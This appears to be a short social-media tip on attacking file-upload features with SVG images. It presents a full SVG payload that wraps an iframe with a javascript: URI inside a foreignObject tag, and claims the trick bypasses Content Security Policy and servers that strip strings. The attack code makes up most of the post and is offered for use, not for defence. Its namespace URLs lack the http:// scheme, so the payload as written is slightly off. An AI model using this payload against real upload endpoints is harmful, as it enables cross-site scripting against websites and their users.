Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
<svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml">
<foreignObject width="100%" height="100%">
<body xmlns="w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
</body>
</foreignObject>
</svg>
